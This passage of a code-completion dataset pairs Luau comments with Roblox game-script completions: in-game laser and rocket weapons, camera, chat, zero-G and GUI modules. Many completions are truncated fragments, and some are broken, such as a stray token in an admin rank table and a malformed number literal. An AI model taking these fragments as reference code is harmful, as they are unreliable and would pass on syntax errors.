then\n\t\t\ttable.insert(selectionBoxes, SelectionBoxify(part))\n\t\t\tLight(part)\n\t\tend\n\tend\n\n\tlocal objectsWithTransparency = GetTransparentsRecursive(character)\n\tFadeOutObjects(objectsWithTransparency, 0.1)\n\n\twait(0.5)\n\n\thumanoid.Health = 0\n\tDebrisService:AddItem(character, 2)\n\n\tlocal fadeIncrement = 0.\n\tDelay(0.2, function()\n\t\tFadeOutObjects({firstSelectionBox}, fadeIncrement)\n\t\tif character then\n\t\t\tcharacter:Destroy()\n\t\tend\n\tend)\n\tFadeOutObjects(selectionBoxes, fadeIncrement)\nend\n\nlocal function OnTouched(shot, otherPart)\n\tlocal character, humanoid = FindCharacterAncestor(otherPart)\n\tif character and humanoid and character ~= Character then\n\t\tApplyTags(humanoid)\n\t\tif shot then\n\t\t\tlocal hitFadeSound = shot:FindFirstChild(HitFadeSound.Name)\n\t\t\tif hitFadeSound then\n\t\t\t\thitFadeSound.Parent = humanoid.Torso\n\t\t\t\thitFadeSound:Play()\n\t\t\tend\n\t\t\tshot:Destroy()\n\t\tend\n\t\tDematerialize(character, humanoid, otherPart)\n\tend\nend\n\nlocal function OnEquipped()\n\tCharacter = Tool.Parent\n\tHumanoid = Character:WaitForChild('Humanoid')\n\tPlayer = PlayersService:GetPlayerFromCharacter(Character)\nend\n\nlocal function OnActivated()\n\tif Tool.Enabled and Humanoid.Health > 0 then\n\t\tTool.Enabled = false\n\n\t\tFireSound:Play()\n\n\t\tlocal handleCFrame = Handle.CFrame\n\t\tlocal firingPoint = handleCFrame.p + handleCFrame:vectorToWorldSpace(NOZZLE_OFFSET)\n\t\tlocal shotCFrame = CFrame.new(firingPoint, Humanoid.TargetPoint)\n\n\t\tlocal laserShotClone = BaseShot:Clone()\n\t\tlaserShotClone.CFrame = shotCFrame + (shotCFrame.lookVector * (BaseShot.Size.Z / 2))\n\t\tlocal bodyVelocity = Instance.new('BodyVelocity')\n\t\tbodyVelocity.velocity = shotCFrame.lookVector * SHOT_SPEED\n\t\tbodyVelocity.Parent = laserShotClone\n\t\tlaserShotClone.Touched:connect(function(otherPart)\n\t\t\tOnTouched(laserShotClone, otherPart)\n\t\tend)\n\t\tDebrisService:AddItem(laserShotClone, SHOT_TIME)\n\t\tlaserShotClone.Parent = Tool\n\n\t\twait(0) -- FireSound length\n\n\t\tReloadSound:Play()\n\t\twait(0) -- ReloadSound length\n\n\t\tTool.Enabled = true\n\tend\nend\n\nlocal function OnUnequipped()\n\t\nend\n"} +{"prompt": "--[[ By: Brutez, 2/28/2015, 1:34 AM, (UTC-08:00) Pacific Time (US & Canada) ]]", "completion": "--\n"} +{"prompt": "--[[ The Module ]]", "completion": "--\nlocal BaseCamera = require(script.Parent:WaitForChild(\"BaseCamera\"))\nlocal ClassicCamera = setmetatable({}, BaseCamera)\nClassicCamera.__index = ClassicCamera\n\nfunction ClassicCamera.new()\n\tlocal self = setmetatable(BaseCamera.new(), ClassicCamera)\n\n\tself.isFollowCamera = false\n\tself.lastUpdate = tick()\n\n\treturn self\nend\n\nfunction ClassicCamera:GetModuleName()\n\treturn \"ClassicCamera\"\nend\n"} +{"prompt": "-- events", "completion": "\n\nREMOTES.RocketLauncher.OnServerEvent:connect(function(player, item, action, ...)\n\tlocal character\t= player.Character\n\tlocal ammo\t\t= character.Ammo\n\tlocal equipped\t= character.Equipped\n\t\n\tif item == equipped.Value then\n\t\tif action == \"Fire\" then\n\t\t\tlocal ammo\t= item.Ammo\n\t\t\t\n\t\t\tif ammo.Value > 0 then\n\t\t\t\tammo.Value\t\t= ammo.Value - 1\n\t\t\t\tlocal handle\t= item.Handle\n\t\t\t\tlocal muzzle\t= handle.Muzzle\n\t\t\t\tlocal config\t= CONFIG:GetConfig(item)\n\t\t\t\t\n\t\t\t\tlocal id, position, direction\t= ...\n\t\t\t\tlocal muzzlePosition\t\t\t= muzzle.WorldPosition\n\t\t\t\t\n\t\t\t\tif (position - muzzlePosition).Magnitude < POSITION_BUFFER then\n\t\t\t\t\tServerScriptService.ProjectileScript.Projectile:Fire(player, item, id, position, direction)\n\t\t\t\t\tfor _, p in pairs(game.Players:GetPlayers()) do\n\t\t\t\t\t\tif p ~= player then\n\t\t\t\t\t\t\tREMOTES.Effect:FireClient(p, \"RocketLauncher\", item, \"Fire\", ammo.Value > 0)\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\tif ammo.Value <= 0 then\n\t\t\t\t\tDebris:AddItem(item, 0.3)\n\t\t\t\tend\n\t\t\tend\n\t\telseif action == \"Reload\" then\n\t\t\tlocal config\t\t= CONFIG:GetConfig(item)\n\t\t\tlocal storedAmmo\t= ammo[config.Size]\n\t\t\t\n\t\t\tlocal start\t\t= tick()\n\t\t\tlocal elapsed\t= 0\n\t\t\t\n\t\t\trepeat\n\t\t\t\telapsed\t= tick() - start\n\t\t\t\tRunService.Stepped:wait()\n\t\t\tuntil elapsed >= config.ReloadTime or equipped.Value ~= item\n\t\t\t\n\t\t\tif equipped.Value == item then\n\t\t\t\tif elapsed >= config.ReloadTime then\n\t\t\t\t\tif storedAmmo.Value >= 1 then\n\t\t\t\t\t\titem.Loaded.Value\t= true\n\t\t\t\t\t\tstoredAmmo.Value\t= storedAmmo.Value - 1\n\t\t\t\t\t\t\n\t\t\t\t\t\tfor _, p in pairs(game.Players:GetPlayers()) do\n\t\t\t\t\t\t\tif p ~= player then\n\t\t\t\t\t\t\t\tREMOTES.Effect:FireClient(p, \"RocketLauncher\", item, \"Reload\")\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend\nend)\n"} +{"prompt": "--[=[\n\t@return ... any\n\t@yields\n\n\tYields the current thread until the signal is fired, and returns the arguments fired from the signal.\n\tYielding the current thread is not always desirable. If the desire is to only capture the next event\n\tfired, using `ConnectOnce` might be a better solution.\n\t```lua\n\ttask.spawn(function()\n\t\tlocal msg, num = signal:Wait()\n\t\tprint(msg, num) --> \"Hello\", 32\n\tend)\n\tsignal:Fire(\"Hello\", 32)\n\t```\n]=]", "completion": "\nfunction Signal:Wait()\n\tlocal waitingCoroutine = coroutine.running()\n\tlocal connection\n\tlocal done = false\n\tconnection = self:Connect(function(...)\n\t\tif done then\n\t\t\treturn\n\t\tend\n\t\tdone = true\n\t\tconnection:Disconnect()\n\t\ttask.spawn(waitingCoroutine, ...)\n\tend)\n\treturn coroutine.yield()\nend\n"} +{"prompt": "--- Returns the final value of the argument.", "completion": "\nfunction Argument:GetValue()\n\tif #self.RawValue == 0 and not self.Required and self.Object.Default ~= nil then\n\t\treturn self.Object.Default\n\tend\n\n\tif not self.Type.Listable then\n\t\treturn self:ParseValue(1)\n\tend\n\n\tlocal values = {}\n\n\tfor i = 1, #self.TransformedValues do\n\t\tlocal parsedValue = self:ParseValue(i)\n\n\t\tif type(parsedValue) ~= \"table\" then\n\t\t\terror((\"Listable types must return a table from Parse (%s)\"):format(self.Type.Name))\n\t\tend\n\n\t\tfor _, value in pairs(parsedValue) do\n\t\t\tvalues[value] = true -- Put them into a dictionary to ensure uniqueness\n\t\tend\n\tend\n\n\tlocal valueArray = {}\n\n\tfor value in pairs(values) do\n\t\tvalueArray[#valueArray + 1] = value\n\tend\n\n\treturn valueArray\nend\n\nreturn Argument\n"} +{"prompt": "--!strict\n--[=[\n @function create\n @within Array\n\n @param length number -- The length of the array to create.\n @param value? T -- The value to fill the array with.\n @return {T} -- The created array.\n\n Creates an array of the given length, filled with the given value.\n This is just a wrapper around `table.create`.\n\n ```lua\n local array = Create(3, \"Hello\")\n\n print(array) -- { \"Hello\", \"Hello\", \"Hello\" }\n ```\n]=]", "completion": "\nreturn table.create\n"} +{"prompt": "--/////////////////////////////////////////////////////////--", "completion": "\n\nlocal dZIndex \t = 2\nlocal dScrollBar = 4\nlocal dBackground \t= Color3.new(31/255, 31/255, 31/255)\nlocal dTransparency = 0\nlocal dPixelSize \t= 0\nlocal dBorder \t\t= Color3.new(27/255,42/255,53/255)\nlocal dPosition \t= UDim2.new(0,5,0,5)\nlocal dCanvasSize \t= UDim2.new(0, 0, 0, 0)\nlocal dScrollImage \t= \"http://roblox.com/asset?id=158348114\"\nlocal dTextColor = Color3.new(1,1,1)\nlocal dSize \t = UDim2.new(1,-10,1,-10)\nlocal dFont \t = \"SourceSans\"\nlocal dTextSize = 16\nlocal dPlaceholderColor = Color3.fromRGB(178, 178, 178)\nlocal MouseIcons = {\n\tHorizontal = \"rbxassetid://1243146213\";\n\tVertical = \"rbxassetid://1243145985\";\n\tLeftCorner = \"rbxassetid://1243145459\";\n\tRightCorner = \"rbxassetid://1243145350\";\n\tTopRight = \"rbxassetid://1243145459\";\n\tTopLeft = \"rbxassetid://1243145350\";\n}\n"} +{"prompt": "-- yaw-axis rotational velocity of a part with a given CFrame and total RotVelocity", "completion": "\nlocal function yawVelocity(rotVel, cf)\n\treturn math.abs(cf.YVector:Dot(rotVel))\nend\n"} +{"prompt": "--[[ Local Functions ]]", "completion": "--\nlocal function CreateArrowLabel(name, position, size, rectOffset, rectSize, parent)\n\tlocal image = Instance.new(\"ImageLabel\")\n\timage.Name = name\n\timage.Image = DPAD_SHEET\n\timage.ImageRectOffset = rectOffset\n\timage.ImageRectSize = rectSize\n\timage.BackgroundTransparency = 1\n\timage.Size = size\n\timage.Position = position\n\timage.Parent = parent\n\treturn image\nend\n\nfunction TouchDPad:GetCenterPosition()\n\treturn Vector2.new(self.DPadFrame.AbsolutePosition.x + self.DPadFrame.AbsoluteSize.x * 0.5, self.DPadFrame.AbsolutePosition.y + self.DPadFrame.AbsoluteSize.y * 0.5)\nend\n\nfunction TouchDPad:Enable(enable, uiParentFrame)\n\tif enable == nil then return false end\t\t\t-- If nil, return false (invalid argument)\n\tenable = enable and true or false\t\t\t\t-- Force anything non-nil to boolean before comparison\n\tif self.enabled == enable then return true end\t-- If no state change, return true indicating already in requested state\n\t\n\tself.moveVector = ZERO_VECTOR3\n\tself.isJumping = false\n\t\n\tif enable then\n\t\t-- Enable\n\t\tif not self.DPadFrame then\n\t\t\tself:Create(uiParentFrame)\n\t\tend\n\t\tself.DPadFrame.Visible = true\n\telse \n\t\t-- Disable\n\t\tself.DPadFrame.Visible = false\n\t\tself:OnInputEnded()\n\tend\n\tself.enabled = enable\nend\n"} +{"prompt": "--local HUB = script.Parent.HUB\n--local limitButton = HUB.Limiter", "completion": "\n\nlocal carSeat = script.Parent.Car.Value\nlocal mouse = game.Players.LocalPlayer:GetMouse()\nmouse.KeyDown:connect(function (key)\nkey = string.lower(key)"} +{"prompt": "--1 = white\n--208 = Light stone grey\n--194 = Medium stone grey\n--199 = Dark stone grey\n--26 = Black\n--21 = Bright red\n--24 = Bright yellow\n--226 = Cool yellow\n--23 = Bright blue\n--107 = Bright bluish green\n--102 = Medium blue\n--11 = Pastel blue\n--45 = Light blue\n--135 = Sand blue\n--106 = Bright orange\n--105 = Br. yellowish orange\n--141 = Earth green\n--28 = Dark green\n--37 = Bright green\n--119 = Br. yellowish green\n--29 = Medium green\n--151 = Sand green\n--38 = Dark orange\n--192 = Reddish brown\n--104 = Bright violet\n--9 = Light reddish violet\n--101 = Medium red\n--5 = Brick Yellow\n--153 = Sand red\n--217 = Brown\n--18 = Nougat\n--125 = Light orange", "completion": "\n\n"} +{"prompt": "--[[\n\t* Copyright (c) Roblox Corporation. All rights reserved.\n\t* Licensed under the MIT License (the \"License\");\n\t* you may not use this file except in compliance with the License.\n\t* You may obtain a copy of the License at\n\t*\n\t* https://opensource.org/licenses/MIT\n\t*\n\t* Unless required by applicable law or agreed to in writing, software\n\t* distributed under the License is distributed on an \"AS IS\" BASIS,\n\t* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\t* See the License for the specific language governing permissions and\n\t* limitations under the License.\n]]\n--!nonstrict\n--[[\n\tdeviation: Our constructors currently have no notion of 'super' so any\n\tsuch behavior in upstream JS must be implemented manually by setting fields\n\n\tA constructor passed to this class would typically look along the lines of:\n\tfunction(self, arg, otherArg)\n\t\tself.arg = arg\n\t\tself.otherArg = otherArg\n\tend\n\n\tBut even something like function() end can be passed in as the constructor\n\tif no fields need to be set. In upstream JS, the equivalent would be\n\treturning an empty object from the constructor.\n]]", "completion": "\nreturn function(parent, childName, constructor)\n\tlocal Child = {}\n\tChild.__index = Child\n\tChild.__tostring = function(self)\n\t\treturn getmetatable(parent).__tostring(self)\n\tend\n\n\tlocal mt = {}\n\n\tChild.new = function(...)\n\t\tlocal self = {}\n\t\tconstructor(self, ...)\n\t\treturn setmetatable(self, Child)\n\tend\n\n\tif typeof(getmetatable(parent)) == \"table\" and getmetatable(parent).__call then\n\t\tmt.__call = function(_, ...)\n\t\t\treturn Child.new(...)\n\t\tend\n\tend\n\n\tmt.__index = parent\n\tmt.__tostring = function(self)\n\t\t-- Printing class name\n\t\tif self == Child then\n\t\t\treturn tostring(childName)\n\t\tend\n\t\treturn getmetatable(parent).__tostring(self)\n\tend\n\n\tsetmetatable(Child, mt)\n\n\treturn Child\nend\n"} +{"prompt": "--asimo3089", "completion": "\nlocal person = script.Parent.Parent\nlocal cam = game.Workspace.CurrentCamera\n\nrepeat wait() until game.Workspace:findFirstChild(person.Name)~=nil\nrepeat wait() until game.Workspace:findFirstChild(person.Name):findFirstChild(\"Head\")~=nil\nlocal theperson = game.Workspace:findFirstChild(person.Name)"} +{"prompt": "-- Ask any questions here: http://www.roblox.com/Forum/ShowPost.aspx?PostID=13178947", "completion": "\n\n"} +{"prompt": "-- RANK, RANK NAMES & SPECIFIC USERS", "completion": "\nRanks = {\n\t\t{5,\t\"Owner\",\t\t};ffcvg13\n\t{4,\t\"HeadAdmin\",\t{\"\",0},\t};\n\t{3,\t\"Admin\",\t\t{\"\",0},\t};\n\t{2,\t\"Mod\",\t\t\t{\"\",0},\t};\n\t{1,\t\"VIP\",\t\t\t{\"\",0},\t};\n\t{0,\t\"NonAdmin\",\t\t};\n};\n\n\n"} +{"prompt": "--// KeyBindings", "completion": "\n\tFireSelectKey = Enum.KeyCode.V;\n\tCycleSightKey = Enum.KeyCode.T;\n\tLaserKey = Enum.KeyCode.G;\n\tLightKey = Enum.KeyCode.B;\n\tInteractKey = Enum.KeyCode.E;\n\tAlternateAimKey = Enum.KeyCode.Z;\n\tInspectionKey = Enum.KeyCode.H;\n\tAttachmentKey = Enum.KeyCode.LeftControl;\n\t"} +{"prompt": "-- End Copier", "completion": "\n\nwait()\n\nIntroFrame:TweenPosition(UDim2.new(1,-300,0,0),Enum.EasingDirection.Out,Enum.EasingStyle.Quart,0.5,true)\n\nswitchWindows(\"Explorer\")\n\nwait(1)\n\nSideMenu.Visible = true\n\nfor i = 0,1,0.1 do\n\tIntroFrame.BackgroundTransparency = i\n\tIntroFrame.Main.BackgroundTransparency = i\n\tIntroFrame.Slant.ImageTransparency = i\n\tIntroFrame.Title.TextTransparency = i\n\tIntroFrame.Version.TextTransparency = i\n\tIntroFrame.Creator.TextTransparency = i\n\tIntroFrame.Love.TextTransparency = i\n\tIntroFrame.Sad.ImageTransparency = i\n\tIntroFrame.Sad2.ImageTransparency = i\n\twait()\nend\n\nIntroFrame.Visible = false\n\nSlideFrame:TweenPosition(UDim2.new(0,0,0,0),Enum.EasingDirection.Out,Enum.EasingStyle.Quart,0.5,true)\nOpenScriptEditorButton:TweenPosition(UDim2.new(0,0,0,180),Enum.EasingDirection.Out,Enum.EasingStyle.Quart,0.5,true)\nCloseToggleButton:TweenPosition(UDim2.new(0,0,0,210),Enum.EasingDirection.Out,Enum.EasingStyle.Quart,0.5,true)\nSlant:TweenPosition(UDim2.new(0,0,0,240),Enum.EasingDirection.Out,Enum.EasingStyle.Quart,0.5,true)\n\nwait(0.5)\n\nfor i = 1,0,-0.1 do\n\tOpenScriptEditorButton.Icon.ImageTransparency = i\n\tCloseToggleButton.TextTransparency = i\n\twait()\nend\n\nCloseToggleButton.Active = true\nCloseToggleButton.AutoButtonColor = true\n\nOpenScriptEditorButton.Active = true\nOpenScriptEditorButton.AutoButtonColor = true\n"} +{"prompt": "-- services", "completion": "\n\nlocal ReplicatedStorage\t= game:GetService(\"ReplicatedStorage\")\nlocal HttpService\t\t= game:GetService(\"HttpService\")\n"} +{"prompt": "-- Clear any existing animation tracks\n-- Fixes issue with characters that are moved in and out of the Workspace accumulating tracks", "completion": "\nlocal animator = if Humanoid then Humanoid:FindFirstChildOfClass(\"Animator\") else nil\nif animator then\n\tlocal animTracks = animator:GetPlayingAnimationTracks()\n\tfor i,track in ipairs(animTracks) do\n\t\ttrack:Stop(0)\n\t\ttrack:Destroy()\n\tend\nend\n\n\nfor name, fileList in pairs(animNames) do \n\tconfigureAnimationSet(name, fileList)\nend\t\n"} +{"prompt": "-- deviation START: we use the definitely-typed version of this, which appears to work for flowtype in VirtualizedList, etc", "completion": "\nexport type ComponentType

= ComponentClass

| FC

"} +{"prompt": "-- ROBLOX FIXME: find a way to keep the generic param and it's default value when re-exporting", "completion": "\nexport type TestFileEvent = typesModule.TestFileEvent\nexport type TestResult = typesModule.TestResult\nexport type TestResultsProcessor = typesModule.TestResultsProcessor\nexport type TestCaseResult = typesModule.TestCaseResult\nexport type V8CoverageResult = typesModule.V8CoverageResult\n\nreturn exports\n"} +{"prompt": "-- play the animation", "completion": "\ntoolAnimTrack:Play(transitionTime)\ntoolAnimName = animName\ntoolAnimInstance = anim\ncurrentToolAnimKeyframeHandler = toolAnimTrack.KeyframeReached:connect(toolKeyFrameReachedFunc)\nend\nend\nfunction stopToolAnimations()\nlocal oldAnim = toolAnimName\nif (currentToolAnimKeyframeHandler ~= nil) then\ncurrentToolAnimKeyframeHandler:disconnect()\nend\ntoolAnimName = \"\"\ntoolAnimInstance = nil\nif (toolAnimTrack ~= nil) then\ntoolAnimTrack:Stop()\ntoolAnimTrack:Destroy()\ntoolAnimTrack = nil\nend\nreturn oldAnim\nend"} +{"prompt": "--script.Parent.ScreenGui.Parent = game.ServerStorage", "completion": "\n\nscript.Parent.Equipped:Connect(function(Hit)\n\tscript.Parent.Hand.Equip:Play()\n\t\n\t\n\tif script.Parent.Configuration.HasAbility.Value == true then\n\t\t\tscript.Parent.AbilityServer.Disabled = false\n\tscript.Parent.Ability.Disabled = false\nlocal\tplayer = game.Players:GetPlayerFromCharacter(script.Parent.Parent)\nlocal\tMobile = script.Parent.MobileGui:Clone()\n\t\tMobile.Parent = player.PlayerGui\n\t\twait(.1)\n\t\tscript.Disabled = true\n\n\n\tend\nend)\n\n"} +{"prompt": "-- shorthands", "completion": "\nlocal v3 = Vector3.new\nlocal NSK010 = NumberSequenceKeypoint.new(0, 1, 0)\nlocal NSK110 = NumberSequenceKeypoint.new(1, 1, 0)\n\nlocal volumeScanGrid = {}\t\t\t\t\t\t\t\t\t-- Pre-generate grid used for raining area distance scanning\nfor _,v in pairs(RAIN_VOLUME_SCAN_GRID) do\n\ttable.insert(volumeScanGrid, v * RAIN_VOLUME_SCAN_RADIUS)\nend\ntable.sort(volumeScanGrid, function(a,b)\t\t\t\t\t-- Optimization: sort from close to far away for fast evaluation if closeby\n\treturn a.magnitude < b.magnitude\nend)\n"} +{"prompt": "--////////////////////////////// Include\n--//////////////////////////////////////", "completion": "\nlocal Chat = game:GetService(\"Chat\")\nlocal clientChatModules = Chat:WaitForChild(\"ClientChatModules\")\nlocal modulesFolder = script.Parent\nlocal ChatSettings = require(clientChatModules:WaitForChild(\"ChatSettings\"))\nlocal CurveUtil = require(modulesFolder:WaitForChild(\"CurveUtil\"))\n\nlocal MessageSender = require(modulesFolder:WaitForChild(\"MessageSender\"))\n"} +{"prompt": "-- anima\u00e7\u00e3o para o TextLabel", "completion": "\nlocal function animateTextLabel()\n\tlocal tweenInfo = TweenInfo.new(0.5, Enum.EasingStyle.Quad, Enum.EasingDirection.Out)\n\tlocal startingText = textLabel.Text\n\tlocal currentValue = tonumber(numValue.Value)\n\tlocal targetValue = currentValue\n\tlocal decimal = string.match(tostring(currentValue), \"%.(%d+)\")\n\tif decimal then\n\t\ttargetValue = math.floor(currentValue)\n\tend\n\tfor i = 1, 10^(#tostring(targetValue)-1) do\n\t\tlocal newValue = currentValue - (currentValue % i)\n\t\tif newValue == targetValue then\n\t\t\ttextLabel.Text = commaSeparateNumber(tostring(newValue)) .. (decimal and \".\" .. decimal or \"\")\n\t\t\tbreak\n\t\telse\n\t\t\ttextLabel.Text = commaSeparateNumber(tostring(newValue)) .. (decimal and \".\" .. decimal or \"\")\n\t\t\twait(0.05)\n\t\tend\n\tend\n\twait(0.5)\n\ttextLabel.Text = startingText\nend\n\nupdateTextLabel() -- atualiza o TextLabel ao iniciar o jogo\n"} +{"prompt": "-- Connections", "completion": "\ngame:GetService(\"ReplicatedStorage\").Game.Events.UI.Notification.OnClientEvent:Connect(function(...)\n\tNotificationModule.QueueNotification(...)\nend)\n"} +{"prompt": "--///////////////////////// Constructors\n--//////////////////////////////////////", "completion": "\n\nfunction module.new()\n\tlocal obj = setmetatable({}, methods)\n\n\tobj.MessageIdCounter = 0\n\n\tobj.ChatChannels = {}\n\tobj.Speakers = {}\n\n\tobj.FilterMessageFunctions = Util:NewSortedFunctionContainer()\n\tobj.ProcessCommandsFunctions = Util:NewSortedFunctionContainer()\n\n\tobj.eChannelAdded = Instance.new(\"BindableEvent\")\n\tobj.eChannelRemoved = Instance.new(\"BindableEvent\")\n\tobj.eSpeakerAdded = Instance.new(\"BindableEvent\")\n\tobj.eSpeakerRemoved = Instance.new(\"BindableEvent\")\n\n\tobj.ChannelAdded = obj.eChannelAdded.Event\n\tobj.ChannelRemoved = obj.eChannelRemoved.Event\n\tobj.SpeakerAdded = obj.eSpeakerAdded.Event\n\tobj.SpeakerRemoved = obj.eSpeakerRemoved.Event\n\n\tobj.ChatServiceMajorVersion = 0\n\tobj.ChatServiceMinorVersion = 5\n\n\treturn obj\nend\n\nreturn module.new()\n"} +{"prompt": "--[[\n\tNew Zero-G Handler by Phoenix\n\tOld = BmanGames\n\tYEET\n]]", "completion": "\n\nlocal ZGClient = game:GetService(\"ReplicatedStorage\").Game.Events.Game.ZG\nlocal Active = {}\n\nlocal Deactivate = function(Player, Lab)\n\tActive[Player] = nil\n\n\tlocal Character = Player.Character\n\t\n\tif Character ~= nil then\t\n\t\tif Character:FindFirstChild(\"Humanoid\") then\n\t\t\tCharacter.Humanoid.PlatformStand = false\n\t\t\t\n\t\t\twait()\n\t\t\t\n\t\t\tfor Index, Desc in pairs(Character:GetDescendants()) do\n\t\t\t\tif Desc:FindFirstChild(\"BodyForce\") then\n\t\t\t\t\tDesc.BodyForce:Destroy()\n\t\t\t\telseif Desc:FindFirstChild(\"Handle\") and Desc.Handle:FindFirstChild(\"BodyForce\") then\n\t\t\t\t\tDesc.Handle.BodyForce:Destroy()\n\t\t\t\tend\n\t\t\tend\n\t\n\t\t\tZGClient:FireClient(Player, false, Lab)\n\t\tend\n\tend\nend\n\nlocal Activate = function(Player, Lab)\n\tActive[Player] = Player\n\n\tlocal Character = Player.Character\n\t\n\tif Character:FindFirstChild(\"Humanoid\") then\n\t\tfor Index, Child in pairs(Character:GetChildren()) do\n\t\t\tif Child:IsA(\"BasePart\") or Child:IsA(\"MeshPart\") then\n\t\t\t\tlocal BF = Instance.new(\"BodyForce\")\n\t\t\t\tBF.force = Vector3.new(0, 196.2, 0) * Child:GetMass()\n\t\t\t\tBF.Parent = Child\n\t\t\telseif Child:IsA(\"Accessory\") then\n\t\t\t\tlocal BF = Instance.new(\"BodyForce\")\n\t\t\t\tBF.force = Vector3.new(0, 196.2, 0) * Child.Handle:GetMass()\n\t\t\t\tBF.Parent = Child.Handle\t\t\t\t\t\t\t\n\t\t\tend\n\t\tend\n\t\t\n\t\tCharacter.Humanoid.PlatformStand = true\n\n\t\tZGClient:FireClient(Player, true, Lab)\n\n\t\t--if Lab == true then\n\t\t--\twait(75) --// Region Check just in case of noclip\n\t\t\t\n\t\t--\tlocal Region = Region3.new(RegionPart.Position - (RegionPart.Size/2), RegionPart.Position + (RegionPart.Size/2))\n\t\t--\tlocal Found = false\n\t\n\t\t--\tfor Index, Ins in pairs(game:GetService(\"Workspace\"):FindPartsInRegion3(Region, RegionPart, math.huge)) do\n\t\t--\t\tlocal DetectedPlayer = game.Players:GetPlayerFromCharacter(Ins.Parent)\n\t\t\t\t\n\t\t--\t\tif Player ~= nil then\n\t\t--\t\t\tif DetectedPlayer == Player then\n\t\t--\t\t\t\tFound = true\n\t\t--\t\t\tend\n\t\t--\t\tend\n\t\t--\tend\n\t\n\t\t--\tif Found == false and Active[Player] ~= nil then\n\t\t--\t\tDeactivate(Player)\n\t\t--\tend\n\t\t--end\n\tend\nend\n\n\ngame:GetService(\"ServerScriptService\").Server.Events.ZGSet.Event:Connect(function(Player, State, Lab)\n\tif Lab == nil then Lab = false end\n\t\n\tif State == true then\n\t\tActivate(Player, Lab)\n\telseif Active[Player] ~= nil then\n\t\tDeactivate(Player, Lab)\n\tend\nend)\n"} +{"prompt": "--[[ Local Variables ]]", "completion": "--\nlocal MasterControl = {}\n\nlocal Players = game:GetService('Players')\nlocal RunService = game:GetService('RunService')\nlocal UserInputService = game:GetService('UserInputService')\n\nlocal HasVRAPI = pcall(function() return UserInputService.VREnabled and UserInputService.GetUserCFrame end)\n\nwhile not Players.LocalPlayer do\n\twait()\nend\nlocal LocalPlayer = Players.LocalPlayer\nlocal CachedHumanoid = nil\nlocal RenderSteppedCon = nil\nlocal SeatedCn = nil\nlocal moveFunc = LocalPlayer.Move\n\nlocal isJumping = false\nlocal isSeated = false\nlocal myVehicleSeat = nil\nlocal moveValue = Vector3.new(0,0,0)\n\n"} +{"prompt": "--[[**\n\tensures Roblox Instance type\n\n\t@param value The value to check against\n\n\t@returns True iff the condition is satisfied, false otherwise\n**--]]", "completion": "\nt.Instance = primitive(\"Instance\")\n"} +{"prompt": "--- Sets if activation will free the mouse.", "completion": "\nfunction Cmdr:SetActivationUnlocksMouse (enabled)\n\tself.ActivationUnlocksMouse = enabled\nend\n"} +{"prompt": "--[[\n\t* Copyright (c) Roblox Corporation. All rights reserved.\n\t* Licensed under the MIT License (the \"License\");\n\t* you may not use this file except in compliance with the License.\n\t* You may obtain a copy of the License at\n\t*\n\t* https://opensource.org/licenses/MIT\n\t*\n\t* Unless required by applicable law or agreed to in writing, software\n\t* distributed under the License is distributed on an \"AS IS\" BASIS,\n\t* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\t* See the License for the specific language governing permissions and\n\t* limitations under the License.\n]]", "completion": "\nexport type Object = { [string]: any }\nexport type Array = { [number]: T }\nexport type Function = (...any) -> ...any\nexport type Table = { [T]: V }\nexport type Tuple = Array\nexport type mapCallbackFn = (element: V, key: K, map: Map) -> ()\nexport type mapCallbackFnWithThisArg = (thisArg: Object, value: V, key: K, map: Map) -> ()\n\nexport type Map = typeof(setmetatable(\n\t{} :: {\n\t\tsize: number,\n\t\t-- method definitions\n\t\tset: (self: Map, K, V) -> Map,\n\t\tget: (self: Map, K) -> V | nil,\n\t\tclear: (self: Map) -> (),\n\t\tdelete: (self: Map, K) -> boolean,\n\t\tforEach: (\n\t\t\tself: Map,\n\t\t\tcallback: mapCallbackFn | mapCallbackFnWithThisArg,\n\t\t\tthisArg: Object?\n\t\t) -> (),\n\t\t[K]: V,\n\t\thas: (self: Map, K) -> boolean,\n\t\tkeys: (self: Map) -> Array,\n\t\tvalues: (self: Map) -> Array,\n\t\tentries: (self: Map) -> Array>,\n\t\tipairs: (self: Map) -> any,\n\t\t_map: { [K]: V },\n\t\t_array: { [number]: K },\n\t\t__index: (self: Map, key: K) -> V,\n\t\t__iter: (self: Map) -> (({ [K]: V }, K?) -> (K?, V), V),\n\t\t__newindex: (self: Map, key: K, value: V) -> (),\n\t},\n\t{} :: {\n\t\t__index: Map,\n\t\t__iter: (self: Map) -> (({ [K]: V }, K?) -> (K, V), V),\n\t\t__newindex: (self: Map, key: K, value: V) -> (),\n\t}\n))\n\nexport type WeakMap = {\n\t-- method definitions\n\tget: (self: WeakMap, K) -> V,\n\tset: (self: WeakMap, K, V) -> WeakMap,\n\thas: (self: WeakMap, K) -> boolean,\n}\n\nexport type setCallbackFn = (value: T, key: T, set: Set) -> ()\nexport type setCallbackFnWithThisArg = (thisArg: Object, value: T, key: T, set: Set) -> ()\n\nexport type Set = typeof(setmetatable(\n\t{} :: {\n\t\tsize: number,\n\t\t-- method definitions\n\t\tadd: (self: Set, T) -> Set,\n\t\tclear: (self: Set) -> (),\n\t\tdelete: (self: Set, T) -> boolean,\n\t\tforEach: (self: Set, callback: setCallbackFn | setCallbackFnWithThisArg, thisArg: Object?) -> (),\n\t\thas: (self: Set, T) -> boolean,\n\t\tipairs: (self: Set) -> any,\n\t},\n\t{} :: {\n\t\t__index: Set,\n\t\t__iter: (self: Set) -> (({ [K]: V }, K?) -> (K, V), T),\n\t}\n))\nreturn {}\n"} +{"prompt": "-- Initialize the tool", "completion": "\nlocal DecorateTool = {\n\n\tName = 'Decorate Tool';\n\tColor = BrickColor.new 'Really black';\n\n};\n"} +{"prompt": "--", "completion": "\nwait(1)\n\t\n\nfunction Alert()\n\tscript.Parent.Assembly.Sound.Click:Play()\nscript.AttackScript.Disabled = true\nscript.Parent.Parent.On.Value = true\nend\n\nfunction Fire()\n\tscript.Parent.Assembly.Sound.Click:Play()\nscript.Parent.Parent.On.Value = true\t\nscript.Parent.Values.Fire.Value = true\nend\n\n\nfunction Test()\nscript.Parent.Assembly.Sound.Click:Play()\nscript.AttackScript.Disabled = true\nscript.Parent.Parent.On.Value = true\nend\n\n\tfunction 